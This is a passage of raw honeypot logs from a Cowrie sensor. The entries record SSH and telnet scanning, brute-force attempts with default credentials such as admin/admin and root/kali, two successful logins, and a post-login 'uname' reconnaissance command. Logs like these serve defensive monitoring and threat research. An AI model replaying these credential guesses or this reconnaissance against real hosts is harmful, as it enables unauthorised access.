cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:16.168308Z","src_ip":"87.251.64.176","session":"cb9f6925a5c7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:16.458653Z","src_ip":"87.251.64.176","session":"cb9f6925a5c7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:16.557311Z","session":"cb9f6925a5c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50556,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2af48125342","protocol":"telnet","message":"New connection: 152.42.224.71:50556 (10.17.0.5:23) [session: c2af48125342]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:16.595051Z"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:16.655274Z","src_ip":"87.251.64.176","session":"cb9f6925a5c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:16.758110Z","src_ip":"87.251.64.176","session":"cb9f6925a5c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:16.937464Z","src_ip":"94.26.106.229","session":"75f688fde160","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":56246,"dst_ip":"159.203.135.109","dst_port":22,"session":"c058b264c513","protocol":"ssh","message":"New connection: 45.156.87.204:56246 (159.203.135.109:22) [session: c058b264c513]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:17.176839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:17.185025Z","src_ip":"45.156.87.204","session":"c058b264c513","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:17.260787Z","src_ip":"45.156.87.204","session":"c058b264c513","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":59852,"dst_ip":"159.203.135.109","dst_port":22,"session":"f457dae9e5c0","protocol":"ssh","message":"New connection: 94.26.106.229:59852 (159.203.135.109:22) [session: f457dae9e5c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:17.639143Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:17.644103Z","src_ip":"94.26.106.229","session":"f457dae9e5c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:17.728634Z","src_ip":"94.26.106.229","session":"f457dae9e5c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"clawdbot","password":"clawdbot","message":"login attempt [clawdbot/clawdbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:17.738931Z","src_ip":"45.156.87.204","session":"c058b264c513","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"0000","password":"0000","message":"login attempt [0000/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:17.981605Z","src_ip":"94.26.106.229","session":"f457dae9e5c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.9342041015625,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:18.133158Z","src_ip":"152.42.224.71","session":"ba3e6dc9b8d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:18.823115Z","src_ip":"45.156.87.204","session":"c058b264c513","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:19.155750Z","src_ip":"94.26.106.229","session":"f457dae9e5c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":59884,"dst_ip":"159.203.135.109","dst_port":22,"session":"f62c14e56cae","protocol":"ssh","message":"New connection: 94.26.106.229:59884 (159.203.135.109:22) [session: f62c14e56cae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:20.373353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:20.377394Z","src_ip":"94.26.106.229","session":"f62c14e56cae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:20.461980Z","src_ip":"94.26.106.229","session":"f62c14e56cae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kali","message":"login attempt [root/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:20.714856Z","src_ip":"94.26.106.229","session":"f62c14e56cae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":56258,"dst_ip":"159.203.135.109","dst_port":22,"session":"6176da394e7d","protocol":"ssh","message":"New connection: 45.156.87.204:56258 (159.203.135.109:22) [session: 6176da394e7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:20.816572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:20.821670Z","src_ip":"45.156.87.204","session":"6176da394e7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:20.907129Z","src_ip":"45.156.87.204","session":"6176da394e7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"******","message":"login attempt [ubuntu/******] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:21.154186Z","src_ip":"45.156.87.204","session":"6176da394e7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:21.802856Z","src_ip":"94.26.106.229","session":"f62c14e56cae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:22.238187Z","src_ip":"45.156.87.204","session":"6176da394e7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":59902,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a551f36c813","protocol":"ssh","message":"New connection: 94.26.106.229:59902 (159.203.135.109:22) [session: 7a551f36c813]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:22.549798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:22.554863Z","src_ip":"94.26.106.229","session":"7a551f36c813","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:22.647460Z","src_ip":"94.26.106.229","session":"7a551f36c813","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"d","password":"d","message":"login attempt [d/d] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:22.936548Z","src_ip":"94.26.106.229","session":"7a551f36c813","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:24.032522Z","src_ip":"94.26.106.229","session":"7a551f36c813","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":34506,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a4dcdccb595","protocol":"ssh","message":"New connection: 45.156.87.204:34506 (159.203.135.109:22) [session: 7a4dcdccb595]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:24.213312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:24.222079Z","src_ip":"45.156.87.204","session":"7a4dcdccb595","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.33956432342529,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:24.255312Z","src_ip":"152.42.224.71","session":"c16d08e07c4f","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:24.304376Z","src_ip":"45.156.87.204","session":"7a4dcdccb595","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":53524,"dst_ip":"159.203.135.109","dst_port":22,"session":"ded476da83a4","protocol":"ssh","message":"New connection: 152.42.212.128:53524 (159.203.135.109:22) [session: ded476da83a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:24.437875Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:24.455655Z","src_ip":"152.42.212.128","session":"ded476da83a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:24.460847Z","src_ip":"152.42.212.128","session":"ded476da83a4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin!@","message":"login attempt [admin/admin!@] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:24.551685Z","src_ip":"45.156.87.204","session":"7a4dcdccb595","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:24.754766Z","src_ip":"45.156.87.204","session":"7a4dcdccb595","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:24.758455Z","src_ip":"45.156.87.204","session":"7a4dcdccb595","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":51754,"dst_ip":"159.203.135.109","dst_port":22,"session":"69922ece14ff","protocol":"ssh","message":"New connection: 94.26.106.229:51754 (159.203.135.109:22) [session: 69922ece14ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:24.765900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:24.771215Z","src_ip":"94.26.106.229","session":"69922ece14ff","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:24.844835Z","src_ip":"45.156.87.204","session":"7a4dcdccb595","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:24.850110Z","src_ip":"45.156.87.204","session":"7a4dcdccb595","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa